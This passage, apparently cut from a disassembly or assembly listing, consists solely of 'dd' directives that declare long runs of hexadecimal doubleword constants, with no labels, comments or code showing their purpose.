6913821Ah, 0E21AACF7h, 7036F404h, 5229D054h, 4F9E3C37h dd 5C916EE3h, 716B8D70h, 0BA54ECEFh, 6562F30Ah, 16E55269h dd 14F2B6CCh, 0DB0F967Dh, 0BF56E894h, 47AC97E0h, 0B6F78B3Fh dd 0BAC6A3EAh, 622D8407h, 0B3FE9084h, 0E607F6BDh, 44A01F49h dd 550D71AFh, 3CD48F61h, 0FCBD316Fh, 5B827452h, 55BBCE06h dd 0C915CF0Dh, 0E2F3D2EEh, 99764C71h, 68957F31h, 0BF34CC2Ch dd 1F881BE0h, 14188B5Eh, 8356A9FAh, 0DC5948C0h, 64ECFCB7h dd 8946E544h, 0C11DDA20h, 0D038426Ch, 0C2ACD448h, 0D20CC3DCh dd 0B10988EFh, 0EDE3FCA6h, 0A8BB5EECh, 0CC209F25h, 0E2826733h dd 0D229CD92h, 0D36E7E01h, 75D56036h, 0F6AC750h, 0E0C585C4h dd 0D68969B0h, 2A966A63h, 3B3E59ECh, 7752BFDh, 557D7B29h dd 32350B39h, 8A62C10Dh, 411ECFD4h, 0EEFDFDFAh, 0A62706Fh dd 21DFC758h, 2E0B6F3Ah, 30DB9918h, 2FBC37ECh, 0B796F3D6h dd 0D199EE50h, 6A57979Bh, 3556CCB1h, 0E5E8E5D4h, 4CE74DCEh dd 0F787CD58h, 5DA43DE3h, 23FB10C5h, 7DA3E7DCh, 508C832Fh dd 505CB907h, 3B0BC380h, 347133DAh, 1A6E6AFDh, 0BE89F204h dd 0E5EFF113h, 3315FC2Fh, 50148541h, 0C5A3BA0Fh, 6B9C5553h dd 743C461h, 30CF30B1h, 2C712626h, 0AEDE9164h, 7F804BFAh dd 0ACD9418Ah, 0F2F29697h, 6221DF9Bh, 0F730C2C3h, 0A4BB0398h dd 0F2645713h, 0E5AC0AD5h, 0B04485D7h, 664CD8D7h, 974310DEh dd 0DF2D79DBh, 9E26CD0Ch, 0B07B8F0Eh, 0A4F4CFA3h, 1C791CBEh dd 0A4B514Bh, 3BF6B213h, 0E5AD4F10h, 3DB4A758h, 359C3BFBh dd 9A7DA19Eh, 0EA8E4A55h, 0A52C6407h, 9D29ED1Dh, 0E6BC82D5h dd 0F8ED1F1Bh, 7D07966Bh, 0BF583184h, 9A267F9Eh, 77AA64Fh dd 11C893F7h, 287733B3h, 0C47AC8AAh, 2D94303Dh, 6E4337F1h dd 3284A02Ah, 0D56BB135h, 0DC6ECB1Ch, 0F62E87A5h, 9AA4D8ECh dd 3C9E6892h, 148E5DAAh, 10987D21h, 391A4A6Fh, 0B0EAAD67h dd 6BD8F3FCh, 14269152h, 71AA15A8h, 125571FEh, 953CD912h dd 3E802FC1h, 514C0C75h, 5AB33329h, 4D8C1118h, 975A9B30h dd 0BF88D851h, 0F6E89444h, 0D2CA39F9h, 2DB3C15Fh, 0C3B75E3Ch dd 0E51E441Bh, 0D0331AE6h, 45136C4h, 96823FF4h, 0FBC7CB48h dd 0BBB86BA3h, 0D613EF8Ah, 60F449CDh, 23EDE4C4h, 0C447FBCh dd 189D73B7h, 87B55C7Bh, 875EACA8h, 0FB5DE3C3h, 0C6D31F8Ah dd 0A23ED15Ch, 0B27EFFDCh, 0D823D1F9h, 0C5EF16B8h, 0BA86404Ch dd 0BB9B4C10h, 99889396h, 0A24FCF72h, 86F331C4h, 43768DC3h dd 7410FCB2h, 0B33851A2h, 0EA2A0094h, 82F31DCEh, 0CD85B3B6h dd 116E0894h, 8FD0147h, 0A53E7EB4h, 0C878C6ACh, 4F2E05BAh dd 0A529EBB8h, 0A67E74F5h, 0B7072C74h, 0D53C12E2h, 0EB5B4B71h dd 4E55B549h, 6FFF9614h, 92BB50DFh, 0FE15C686h, 1DED6965h dd 0E2D7C447h, 1CA26515h, 5116A087h, 0E4F9BD78h, 0D226844h dd 0E1592B44h, 0CAE6F848h, 0A5C13300h, 13A99A3Fh, 0DE117F85h dd 0EAE9A88Ah, 9034FA1Ah, 0B672CA01h, 4F5C17F2h, 0EE549A5Bh dd 0F5BFB75Fh, 0BB7953F9h, 0E6D58922h, 0B8A6B968h, 0CDE8C1DBh dd 250D9F0Eh, 0D284C904h, 78092AFAh, 7BF08DBBh, 8CC30975h dd 9EE59685h, 7F0058D2h, 6C09EFC0h, 8EA42EC8h, 856222E9h dd 0DA707BB9h, 9B31ADD8h, 3A4DDC85h, 9DC50FBFh, 0D9387254h dd 0D68707E3h, 59B6A5E7h, 485A1A36h, 0E2931C17h, 0F50E5BECh dd 54581A3h, 8549F1D2h, 7863A0E3h, 5A71C1A6h, 0AFC01E9Ah dd 8E7DEC3Fh, 9F29A260h, 0D2BB2775h, 2FD62440h, 769E6394h dd 0EC21C144h, 89CECBECh, 83243A04h, 0FFD07A03h, 0E1F0BEFFh dd 17DBB17Ah, 0D2626796h, 8C8A58A2h, 0E0DA540Dh, 7121591Bh dd 0B3F13CD7h, 0E18DE2A5h, 0BFEC3AB9h, 41D16109h, 93DF580Eh dd 1EA6424Dh, 3397C89Fh, 0F2C61D5Bh, 5EC495EBh, 0C4DAE7C3h dd 0D592F93Fh, 0B081AD9h, 0A96223F1h, 0E806F540h, 0E24A0B21h dd 626A780h, 8AF956CCh, 0D2A5C75Eh, 37FC5D2Ch, 0F72CA2E2h dd 0FDD4BDBCh, 0AD75D3A7h, 0A34FFCE5h, 9AF1B2E6h, 3E66F1Fh dd 2D974210h, 0FB93F780h, 0CA814A2Ah, 0B33FEAC9h, 624ABA8Fh dd 37562D59h, 119C6A91h, 0D6836E34h, 4A99D24Dh, 14A09638h dd 0B37AC57h, 39AC6195h, 37D13A5Ah, 7DF95BD3h, 680F9A60h dd 2CF337EBh, 780393F7h, 157C8EEAh, 5EF7B50Dh, 1CF32F59h dd 9F1851F1h, 28692702h, 26B08C52h, 49CDEAEFh, 0CE6DF88Dh dd 7229F924h, 0C47FE0D5h, 0A73FFF27h, 0E33362FFh, 0C6550E7h dd 159E8A6Dh, 0E47DB6A0h, 0FA2F1A02h, 0DDEB4924h, 8911FFFBh dd 5B1E6A14h, 0BF62F0F6h, 0CE76EA79h, 319AA9A1h, 19043F69h dd 7E8D145Ch, 0FAFC2EACh, 0B3357DDEh, 62D8D84Eh, 711F6ACh dd 4E13A32Fh, 0ACF957C3h, 4BCF20B3h, 62BA68C4h, 36D680F2h dd 50FCFECEh, 9B0C2906h, 0CD037F0Dh, 7F2F99F6h, 0DB646B3Dh dd 0D39E062Ah, 14D13D10h, 0B8FCE86Eh, 5DB8AAA2h, 51C9CD7h dd 689259C3h, 3DF3B9FCh, 791871D0h, 27919149h, 29FE4A37h dd 0F98A828Fh, 957C40Ch, 4FBD6521h, 47E6DC97h, 0FC2D39D3h dd 2B39E292h, 0F34C67C1h, 7818E0D0h, 0A72E7A4Ch, 0C32BA32Fh dd 0C1AF5BEDh, 0CFE9D780h, 0D93BBA81h, 386BCE03h, 2B2C6910h dd 6351FBB1h, 96067244h, 39CA49D5h, 0E9EEB7h, 0FCC131Dh dd 45B43C32h, 5A704B49h, 445335CAh, 447ECF60h, 0EDD66D67h dd 0A97C11D5h, 2D61FF41h, 7BD2281Eh, 0F2AC0797h, 2EDEF764h dd 255C08FEh, 37516B0Ch, 63A3CB58h, 0A0477EB8h, 0C82F648Fh dd 35F7E453h, 49C21F2Bh, 0CA0AD42Ah, 89FDAEEAh, 0C3C4EE93h dd 79218524h, 50541A1Bh, 0D8585871h, 575F4796h, 8E133054h dd 2F306A54h, 0C71612FAh, 0FA0BB42Ah, 0EDA80D4Bh, 0A730F982h dd 9625213Ch, 0C94C4232h, 0E68A89E1h, 0C8320729h, 750EEFA0h dd 0D02DD1DFh, 7079CF27h dd 4AADAAD7h, 0FC184519h, 297556A6h, 58AC386Ch, 6016486Fh dd 0C8861A2Dh, 1167BD74h, 0F274829Eh, 73084875h, 4FC195EAh dd 636C0205h, 31DBC62Ch, 6A697699h, 5AB83AC8h, 0C12BABE1h dd 0E38A7F38h, 973AA354h, 0D78CD2C5h, 4A680D1Dh, 21C8CE37h dd 4D08059Bh, 0D188C54Ah, 48EA8BF3h, 120E343Bh, 0B0893CF3h dd 0B8D96CA9h, 32AD068Dh, 4D1D7285h, 0C971899Eh, 0A19D92C5h dd 637C1868h, 855B554h, 7970156Fh, 5290709Ch, 3F158344h dd 0C1A1CAC2h, 781FB721h, 2EDE76A5h, 7B3684EFh, 6DB083DCh dd 28A79E90h, 0DF9A6F1Dh, 0BC92B92Eh, 0CBE78586h, 0B8465D2Ah dd 30FC1D9Fh, 5AC2C5D9h, 0A8602398h, 0BCE78FEFh, 65CA5E8Fh dd 0D21FF84h, 0AE552930h, 180682D2h, 491158FAh, 241FF3D1h dd 70B20FA3h, 46348BD0h, 0EC5628C0h, 0DD610304h, 0E7C182B2h dd 316B7650h, 817F1AE8h, 0FD2E94DBh, 0BEB8B4CEh, 29B4B25Bh dd 0B642A76Eh, 425528D3h, 2BE79F50h, 0E12045DBh, 0FCB5106Bh dd 7CBCC945h, 826309C9h, 7D9EC8BEh, 4E0355EEh, 672A85F0h dd 796FDD46h, 51CE8711h, 33D27BBEh, 39E81716h, 0BC360C7h dd 14C2D5DCh, 628BE208h, 9DD369B2h, 0DB568596h, 0C7E6DFD5h dd 14ECC9B7h, 0C19F02C9h, 6783E1EAh, 58C7C56Fh, 720687CCh dd 8786CCF5h, 57D6C2AEh, 103D2066h, 34818A39h, 9C2CD02Bh dd 0F7868121h, 6D72EDD2h, 0BEC6ABCFh, 0EFE3BA7Dh, 0E0818738h dd 0FF5A3A63h, 6F875226h, 8C15F2D7h, 0F22CCCAAh, 764D7DBAh dd 0D110E258h, 3109A4AEh, 6BCC5848h, 0F837015Fh, 0C4FFF00Fh dd 0D56FF809h, 691952F9h, 882B850Bh, 0E7ACD58Bh, 128CDF55h dd 0BCD3AF4Fh, 0E6C54037h, 0C4458D63h, 0FB85CD33h, 0FDB2D4D3h dd 13B834B3h, 0AADED721h, 7D6F09EBh, 313930EDh, 6CC7CE55h dd 7A48AF9Eh, 8AA566D0h, 4BAD7733h, 9945F1Ah, 9498C0BEh dd 0FE35A2DAh, 0CDF38AEFh, 252D559Bh, 143CFBA6h, 0D65530D2h dd 8B327C3Eh, 2E8362ADh, 0E84DDADh, 63A18304h, 4F29432h dd 0D3730B95h, 0EA352335h, 0DC23D660h, 3E4D8316h, 6B7FA6ACh dd 68841C85h, 3F2EFADEh, 0AEBC4EECh, 39ADE99Ah, 0D0F87105h dd 0C58FB4DFh, 0AFE8BF1Eh, 256C171Ch, 5DFF913Bh, 6B1F1B93h dd 0A01D6A89h, 7B240810h, 0CD28FF3Fh, 7F7CDE88h, 73A57D03h dd 0DB806986h, 2B55F54Ch, 701BE7F1h, 67750447h, 99FD77C4h dd 0CB18A432h, 15E279BDh, 0E6C033BAh, 12DE312Ah, 366F2FE5h dd 42A525BAh, 0BBB17FF4h, 0BDFF805Eh, 137F7712h, 0CD96294Eh dd 6C7829ECh, 6C177717h, 23F271Eh, 0EBF516C6h, 0E75F266Fh dd 0F6797558h, 3215D98h, 616E179Bh, 35B16964h, 4A496DDFh dd 6C4996E7h, 1D6F7DAFh, 0A84467A6h, 8BD693CEh, 0BD2AF156h dd 0A126314Ch, 5305EE30h, 2FB4E352h, 4D2C4A0h, 8E18DC38h dd 8247B7E3h, 48E619B6h, 0A8A1015Eh, 0DB3859F4h, 0F0FC67FFh dd 4DC58CAh, 1E57D6C9h, 0CED489D8h, 0DA8C751Bh, 27C07518h dd 57E4641h, 0DB5066E8h, 5E190AC7h, 0F3A434DEh, 3F1296Fh dd 0CF4D108Fh, 0A2D5E9FFh, 41B32263h, 5B3717C3h, 9C6C498Ch dd 0FAEA4CE7h, 0C4FA3134h, 890DA8EAh, 4316132Ch, 0DE774E8h dd 0F40071F7h, 2A29CC15h, 6D8BBA57h, 70EA010Ah, 5373CFE5h dd 7B152104h, 54D3E7FEh, 47096CEh, 8CA67397h, 0C78FA744h dd 9DC67BB5h, 873ABE1Fh, 0FCB710EAh, 0F2F8780h, 0C9A64BFh dd 5DC4A03h, 0E89720A3h, 0C2099Ch, 0ADBFEC02h, 63316501h dd 3ACE0F64h, 96F0166Bh, 17035C67h, 7A607170h, 618C9048h dd 0C21292Eh, 0F5398A9Ah, 0BDACF0D3h, 127C170Ah, 0C3956384h dd 739A5327h, 51458337h, 68267FF9h, 663481AEh, 15D97B7Ah dd 0B077BC21h, 0E16B1FDDh, 0EC566734h, 463A9479h, 9B57BD5Fh dd 800D3DE1h, 51BE8DBFh, 11C972h, 0E26F7F12h, 0BF065C4Ch dd 499A684Ah, 5A5BFE36h, 0FE60F2A0h, 0BF9899F8h, 2BF942C3h dd 9CCD49E0h, 2117043Eh, 5430748Dh, 1D48DBC5h, 0CE18CD9Fh dd 5CFAA4A4h, 1FFB9884h, 5567625Ch, 3375C03h, 0E5F9C36Eh dd 0F12A1752h, 9992E037h, 0B0E309F4h, 4D97286h, 87FC9FEFh dd 50B7CE8Ch, 0E00CFF51h, 71200754h, 6474A701h, 1DDA238Ch dd 0F5F77957h, 0F48F71Eh, 0A9B18B9Ch, 0DB850D8Dh, 1A337AC3h dd 0CC39CCDEh, 0E966F031h, 0DFEF19B7h, 0F38F5B5Dh, 8D5AB1BEh dd 98F1395Fh, 3BBF4A63h, 0B6C3B0EBh, 0C2F137EDh, 8B188E7Bh dd 0C7D7C6BBh, 590F8ECh, 193F090Ch, 2D179851h, 0A26EDC2Ah dd 9BEEB73h, 347C0C58h, 0AFF76AE4h, 0FA769267h, 5D1DBDB7h dd 0E2BFCE86h, 68A48BC9h, 7C0576B9h, 9321FD78h, 0C802F8A9h dd 2560F323h, 36D80D6Eh, 29DAA79Ah, 6B59DD40h, 0CDD2489Fh dd 499372h, 0CCAB2D48h, 0EF320E58h, 0DB033044h, 0AECFC07h dd 0C149EC33h, 6C5F4A4h, 26F9391h, 0B745C4BBh, 60BAD97Fh dd 0F4E7CB39h, 44B33528h, 6584DB06h, 93078BCAh, 510E4E28h dd 0BFD35785h, 0D6059245h, 0B79828C5h, 0CBB9C435h, 0BFD4D19Ch dd 8C072620h, 6B512623h, 7DE8E119h, 0CA649C84h, 0FC51DC03h dd 2CD5DD42h, 0FBD457EEh, 0D9F7B654h, 62F33D4Ch, 6E261575h dd 5DFAE50Fh, 164673D9h, 0E39C6DBBh, 0D7050E11h, 0BCB30C0Fh dd 915ADBB6h, 70EBE6A0h, 3EFDE444h, 987FFA72h, 0A5F6652Ch dd 0B8430C19h, 0C56BA020h, 9C463915h, 0FC745B90h, 0DCDE1085h dd 6FF452FDh, 6A35391Ah, 17060838h, 62F09A8Ch, 62981D66h dd 8D750D6Eh, 2086EA4Eh, 0DA735F93h, 7DE31D25h, 3340A319h dd 58A8CB4Eh, 0CA705B40h, 0E45DEAFDh, 51B9D52Ch, 0F94E00Fh dd 61E96CC5h, 96AAA4Eh, 1D49E7BAh, 0F0FF0B05h, 357E612h dd 0C85C83BDh, 6F9137F0h, 2B00B131h, 437C15ECh, 6C44FA7Bh dd 72364B82h, 0A5F0D70h, 574C27B0h, 0A50F8F83h, 17A33546h dd 8D764AA5h, 0AA5F2BBAh, 0D2AC781Ah, 5395B52Ch, 17CBBD2Eh dd 2849EE5Bh, 43D15828h, 0E143C166h, 563D0461h, 2AD42CDDh dd 3725C4C5h, 285DFF31h, 590960F1h, 63D451DFh, 0AE046D11h dd 0D4B13F55h, 89784DFDh, 0DA100F40h, 0ECBE1717h, 0FFBE136Bh dd 231BFE31h, 9664F99Ch, 3637F697h, 0E6B745C3h, 9969EB80h dd 0E49AAC4Dh, 7F1B0B96h, 54B826F7h, 0EC4AD027h, 7BA704E5h dd 0E61D6222h, 0BD10ED68h, 16643A8Bh, 7B58636Bh, 0E4E60B52h dd 7B50F176h, 6A65A923h, 0CC7B010Fh, 0E1C61D8Dh, 32BA714Ah dd 0EA1D6BD9h, 0F2805991h, 9BBE70C4h, 7B3D4CE4h, 0B7AED4D7h dd 31707EBCh, 0DEBCA9D8h, 0D771323h, 0D99290A2h, 0A6BB0E96h dd 2311A799h, 64CD2937h, 4110773h, 0B4A9EDBh, 0CF64064Fh dd 73157D5Bh, 6C3806Bh, 0AA9D4517h, 4E2E5868h, 37363111h dd 0DEAFA10Ch, 234D2852h, 0A90FCFF0h, 94E6A7A0h, 8DF67D4Eh dd 38846E05h, 0FE860B77h, 52A63AE3h, 3F96C7C3h, 0C6A38180h dd 0FAD7A791h, 0E4F64447h, 0B033BE57h, 0F3E22A6Eh, 42A88FA1h dd 55AF4B27h, 0B631E98Ch, 45045FCh, 6668155Bh, 0BC5E3CD1h dd 8504E28Ah, 7BDE4158h, 0E5570B0Ch, 6C789160h, 55DD012Ah dd 0FE13A9B1h, 2EAC080Ch, 0B3F1C0CEh, 18043AC7h, 0E0A764A3h dd 531AAD4Eh, 0E5166FAAh, 35FBB50h, 7AC413BCh, 0D4935067h dd 31FD2166h, 0E1592A11h, 0EA97EE07h, 0F58F4748h, 0F2909836h dd 0F37A2BFDh, 0C37477F0h, 0E50580D0h, 65F5F9EDh, 0A6406315h dd 0CC835B1Eh, 34F59186h, 0DE35B75Fh, 0C97C584Eh, 0CB80373Bh dd 36A3DAADh, 9DA18BD1h dd 5A9A42A0h, 0E8548EE0h, 4327240Dh, 0DF1EAC9Ah, 9638C406h dd 737FEA1Ah, 3FB5DBBBh, 0E2397D58h, 80494DB7h, 12529AD0h dd 0EF63A9E7h, 0DE843695h, 5BC2F287h, 9E8C69A9h, 6B3E009Eh dd 0EEBABAA4h, 7EBB82EDh, 0E4CC8F4Eh, 52FBD5h, 6F5A3885h dd 0BEC4A65Ah, 0D30FE844h, 7BDD81B8h, 0D17549A8h, 344E26F7h dd 0D85F9CDAh, 0A9A6C38Fh, 49B25B01h, 698253B4h, 14C4A5B0h dd 873A155Bh, 0EDF7E99h, 5F3B0D2h, 25AA1A73h, 0AA7B10AAh dd 3D5E0DD3h, 658EFEB1h, 45946330h, 0E41D6933h, 0A4810A8Eh dd 9D3B9069h, 0A824A7ECh, 0FB22FC85h, 0CD3B9A93h, 947953ACh dd 8D4D1564h, 8B62CC15h, 0ABF7A5F9h, 62054BB0h, 4425688Bh dd 0DA7B6D4h, 3EFBA1BBh, 0FDD94530h, 0C17D60B2h, 0A44913B0h dd 247B3707h, 0A7D4E2D0h, 986C0DDAh, 1705283Ch, 0ACAE23AAh dd 0E5316E38h, 56782341h, 5D39851Ch, 12388227h, 0DAEEC041h dd 295AF17Dh, 9960D69Dh, 0F36CBD76h, 2DFFC406h, 19909657h dd 0F720965Bh, 0E2FDC780h, 0D5DF21A2h, 0B183EF6h, 7E34903Bh dd 5F8FAC6Eh, 0EC86A604h, 0DFDF6848h, 0EC9E81Fh, 9CEE4B3Ah dd 0FF59DEA1h, 2863B7D8h, 520467B4h, 0D1A83286h, 3A76E61Bh dd 16D39203h, 0B5623635h, 0A2BF31E8h, 58775A3Bh, 67C77BF3h dd 0EFB2DD5h, 0FC6E2B63h, 0E1010829h, 2852AE28h, 0FCEB416Eh dd 608AB3E4h, 8A10F988h, 0F11C256Bh, 0C6439D5Eh, 0D2AD553Bh dd 2CAF99ECh, 18ECA049h, 260030F2h, 0BA052138h, 1C1DA3CCh dd 0E74367ECh, 8012CCFFh, 13593A6Ch, 0FC610BACh, 0BFBB7960h dd 413C478Fh, 0A776AB26h, 0B013AC92h, 38C00A0Ah, 750749B1h dd 60F5F165h, 62887BFBh, 4C58B92Bh, 57CFC287h, 0BDB17ED8h dd 306B293Fh, 0BF11556h, 761BF6B4h, 73346B06h, 99551FA4h dd 4F0A5EC6h, 276DA9F9h, 0B770EAEh, 0CFA08733h, 3A57F3E7h dd 69B1AA65h, 9A80C27Bh, 0D4AD472Ah, 6FAD19D2h, 0A0CFC759h dd 0ADDAF223h, 4EB87A9Ah, 358F290Ah, 1135846Ah, 7F9BE67Ch dd 0E26F5B04h, 9B9EF608h, 42FBE782h, 57B51D00h, 0FC06FA23h dd 26C4F915h, 0C664C2DEh, 2EA651E7h, 3AA36C86h, 0DF091AF4h dd 0B57EEB24h, 2132DB37h, 3F2B0455h, 1C3B225Dh, 0B2A60301h dd 2DFD002Ch, 7ACF0A5Fh, 0E5D80D8Bh, 7271358h, 0FED4D8Dh dd 0B3F3A7F6h, 2C5F427Ah, 38B71C57h, 988D569Dh, 6FC595F4h dd 40B17C2Eh, 0AAABFE7Dh, 0F492C7EDh, 0F767A6BDh, 2136A74h dd 0B32A0FDDh, 0FA6D87B7h, 0D66288A4h, 58B54F6Ah, 0D2ABC703h dd 0A7CDDE8Bh, 816E079Bh, 36CB94C5h, 47EA5D84h, 6F581E6Eh dd 2FEC79C3h, 0A3492123h, 0E99B80B2h, 0C39002Fh, 0BAE068D5h dd 1871986Bh, 578869D9h, 0D7F61A46h, 2335BE17h, 0D55B5EC5h dd 0D96D9FF5h, 0E4BC8840h, 2A9E12A9h, 0DB973E76h, 9697BB0Dh dd 0C60F2DE2h, 62B10A51h, 9ED1828Ah, 2DC3CF81h, 7E917D4Bh dd 0D87803E3h, 44615A08h, 1D6887Dh, 583E2D5Bh, 3477039Fh dd 0B6FCFB86h, 0CFBD6E94h, 0C8A99283h, 0E07C668h, 0AF10ED9h dd 0D59ADFF0h, 5FA11C5Ch, 0B48A0C99h, 5367FF18h, 3E5CB84Ah dd 96B9C784h, 9A43B640h, 0C295722h, 1EE8EDBAh, 699B797Fh dd 0EF3726Ch, 19583010h, 0D7EE9928h, 41D73C0Dh, 0A9826D7Eh dd 8F154A32h, 295FE76h, 8EE18D0h, 0F826FEEDh, 0D9302D4Bh dd 28902FCEh, 0F545C4DAh, 7E787372h, 1F93ED84h, 0D073214Eh dd 0FC87DCF7h, 0EAB4A02Dh, 38E4C015h, 4DDF00D6h, 7F46213Ch dd 0E31358E0h, 5B076907h, 0D477B3Ch, 0F02CEAF4h, 0ED334350h dd 0AE33FA2h, 0E989817Eh, 0BD4AA543h, 0EE5C61C6h, 0DBF082FBh dd 0D4010510h, 0D3BE82ABh, 162DB61Bh, 36B2C9DFh, 81A30663h dd 55B9F7DAh, 0F05A51A3h, 711592BFh, 8871AF7Dh, 29472FDFh dd 0B8144B20h, 9C09C001h, 3CCDCF83h, 835F7F6Ch, 8B14851h dd 4B34D090h, 0A08F7B7Eh, 45651DDDh, 37369073h, 8D2BBFC9h dd 0AF556A1Fh, 0DAA61BC7h, 6CBA30EDh, 0E0CD6846h, 2F3EA08Fh dd 2F1A41C7h, 34F244BBh, 0D7A5EE75h, 323B32ABh, 29CADCF7h dd 0BB2CDA59h, 89BE1BF9h, 92EF8DA2h, 6C04937Dh, 0C90A7926h dd 0FD500223h, 8266B6DDh, 4992A41Ch, 0EE84E808h, 2E1E4627h dd 1AF70AADh, 0FE114F69h, 7FB57C1Ch, 0FEA17146h, 2966F4B8h dd 0E1C2C936h, 23F9BC52h, 5FB3AFA4h, 1D070140h, 0D8750765h dd 0AB2BFD2Fh, 39385BB9h, 6F225149h, 0B7E637BDh, 0F3124310h dd 964EC826h, 17E3EA14h, 4231A566h, 0ED2C4F58h, 221655AFh dd 0E1A9818Fh, 7160F657h, 2CFFE35Ah, 461459E2h, 0D60B35BDh dd 0A7CCBB02h, 6965C040h, 0BD61F444h, 0ADAA40B0h, 0D4898D37h dd 7FE39C23h, 0F967473Fh, 0B85E499Dh, 6AE234CBh, 0ACB93BE9h dd 4782863Bh, 6F164DA0h, 2B1D3E4Eh, 8872F4A9h, 0C5912C72h dd 0F87F3A8h, 576D1518h, 0C7E541BFh, 0B709BBCBh, 0C0AFFF01h dd 0DC631F38h, 396938A1h, 82983E45h, 9507E3FAh, 0CC508734h dd 7FCAA0CAh, 5AA97C54h, 7DFBB6F0h, 268D44D1h, 39309696h dd 0C99DF7CEh, 4A0AAD0Ah, 96F9A365h, 4633EA40h, 2B5A12F3h dd 826DFB5Bh, 4B86524Eh, 0CFA8F246h, 0CF95E7FCh, 0E796A1B5h dd 0FE406230h, 312D8F99h, 46A96E7Ah, 0EB9D6E31h, 0A08045E8h dd 51EFBE90h, 74777F88h, 135AAF90h, 55A0EF75h, 50AEA1EAh dd 6830C3FFh, 0EFE0225Ah, 0C59CE35Ah, 65701E5Eh, 0D35B35C9h dd 0A4069974h, 7CBAADAh, 0F16D4088h, 0C56BEB02h, 6FFB596Ah dd 356CD16Ah, 0A67BE996h, 5B519EA5h, 0F63CCA2Ah, 0B1C4AB02h dd 997A68BCh, 216BF1E0h, 940556B7h, 7BBE3907h, 7143CB03h dd 0C7394B78h, 0EDB171FEh, 0C734E646h, 0DDF3478Eh, 0F7F1E4C9h dd 5EBC4AEEh, 2EA4FE34h, 8306890h, 0C97DFE27h, 1CE9B678h dd 0BE0668CEh, 0B1776E50h, 6377B068h, 0B6526401h, 0ACF71184h dd 39B2B5FBh, 251BE749h, 702908D6h, 0EEF2F158h, 9D4387DBh dd 2D75665Ch, 0D72BFB6h, 0A9B14880h, 2AC6D05Ah, 0C7DD186Ah dd 0E998D289h, 0E6CDFDA1h, 0AD42656Ch, 51440E29h, 0B37FD50h dd 87572B9Ah, 0A7F233F6h, 1E178D62h, 0BA3DFDFDh, 64822E7Fh dd 744D5C49h, 8ED31DEDh, 4D0AF014h, 97B5532Ch, 53E373ADh dd 0DF720E14h, 0B22AEF2Bh, 50F926C6h, 99D3ED37h, 2B0C23Ah dd 43820375h, 46E32509h, 0DD4B8DDAh, 1240581Eh, 0B3B50457h dd 52D5B427h, 6618C95Ch, 0C13CC207h, 91CFF84Ch, 60EDF154h dd 9E98EC2Fh, 0A8A75ED9h, 5D08249h, 70C74F64h, 24D4BCFh dd 0F715B28Ah, 1CA444A4h, 0D4221E2Ch, 0FB2C4A20h, 93F79E89h dd 0ADC9F8C1h, 7A3CC5C8h, 95B2B285h, 658C9F5Eh, 343FC08Ch dd 83C00048h, 0A90E89ECh, 459F7FB1h, 0C49C08E0h, 0AEF3CE0Dh dd 2FC1664Bh, 16E5A0F7h, 4DBEE254h, 73C8C966h, 0B6A1FD00h dd 36580626h, 644F123Ch, 81B07118h, 0C2D66A66h, 0A6999EE6h dd 0B87C5786h, 8F2F3D36h, 587DD3A2h, 132023B4h, 76836542h dd 0EEA5BE1Ch, 0DD4E3568h, 0C44E063Fh, 56B77F4Dh, 975DEB98h dd 273128FDh, 5DB9A072h, 0C7AC73FAh, 0E625BB50h, 48CB7C02h dd 42A3F4C9h, 0DFA7F55h, 34CB53EBh, 0E86492E7h, 37614587h dd 25BC55F0h, 7FADE12Eh, 80F2CFDh, 45A259FFh, 0A962A5D9h dd 0B2B62E9Bh, 1E1E86D3h, 5F4B93D0h, 5FC650E5h, 4A6C8D2Ch dd 5A1983DBh, 73B52BFDh, 51268F89h, 0BF6B8515h, 0EF42D96Ah dd 59035202h, 835F539h, 9CA43CD9h, 8DE91077h, 8B37CEB7h dd 0A7D4B28Bh, 0A40F9B6Ah dd 851646C2h, 3777809Dh, 8DA511B8h, 8F554513h, 0DD08EC0Bh dd 0E045F6A2h, 87C41427h, 375B3Eh, 19B0E757h, 90B4376Dh dd 0A7847CD7h, 4032871h, 5A8266F3h, 9A06919Ah, 34AB5799h dd 0BE5FD6DBh, 0FBCE14E5h, 0D97355EDh, 0CBB2B5AEh, 0C68E089Dh dd 0CF0E9B66h, 74C2CE77h, 92FFB1EBh, 0EA4622FDh, 9CE6D756h dd 0AD41F62Ah, 53E886EEh, 0AB8ED360h, 5E99EE3Fh, 0E3231E7Eh dd 6B8FD54h, 0B0292B10h, 643DAC41h, 0EF2C38F6h, 52AECA18h dd 35EE80A0h, 33CBA439h, 0E765C0F5h, 5F13711Bh, 8E85CA6Ch dd 72A4B61Ch, 5932C9ADh, 0F38A9E5Dh, 9A8C7FD6h, 0C4D0D574h dd 19F0079Dh, 630BDC82h, 0CB8A02D7h, 0A7750146h, 17540940h dd 5ECDF045h, 1D81E74Fh, 45CB4DDBh, 0B6AC95A9h, 45B26115h dd 2E7F78C5h, 63BCF5C1h, 0A5F0DD44h, 0DEDA3D2Dh, 0BFE024E1h dd 89D6AAB0h, 0F42C61D5h, 0D9D540E1h, 0D86AECAAh, 7BA7C0C0h dd 907F1496h, 0B5C01312h, 0E03D9F8Bh, 78537B95h, 0F1058397h dd 6C4957B4h, 551668C0h, 0B1500907h, 0CC9A1E96h, 1FB9A438h dd 4966CCEDh, 1FDFEFC3h, 91646E54h, 0D334A56Ch, 0F0FBF546h dd 35C9852Ch, 8FE24F1Fh, 0C4E5EA6Fh, 325A6804h, 4AA7E16Bh dd 0F5E33492h, 49F9F771h, 89C44BFEh, 75E216BCh, 9578B987h dd 4B736EE5h, 0EF432905h, 5CBD9D6Bh, 0D2DE1525h, 4189F2DFh dd 4E25AA4Ch, 3CB5BB3Eh, 0B5C5E959h, 0D826255Eh, 27ACBD90h dd 0A3CBA43Dh, 0D0204D9Eh, 94E1E796h, 311BC328h, 9096A659h dd 3C5FC867h, 0DD24503h, 7E2B6C71h, 0C65E2FF9h, 0CBC5891Ah dd 1006BACBh, 0E8DF595h, 0E29C484Eh, 0A5CAEF4Ah, 6A489861h dd 0E20D1A2Ch, 5A1C7923h, 0D892033Dh, 0D6DE8090h, 0CBAFE9C5h dd 126D2F87h, 3CC87AC0h, 73D1DD2Ch, 0D3D6E200h, 0F4229F89h dd 0F7034BEEh, 0D926D10Dh, 0A83E98BDh, 0BE1DDB98h, 998BBF12h dd 165501C0h, 0D8B1454Fh, 9F7EEBC6h, 746A30BBh, 32B9903Ch dd 0C5703CCAh, 0D73C48DCh, 0EF0312Dh, 188EAC8Ah, 877AF6CEh dd 0E3B3EA3Fh, 9630EA23h, 20AAECF4h, 2CB8E109h, 7B9ABD10h dd 6F849EDBh, 0F003BA2Bh, 70499414h, 0BAE6B517h, 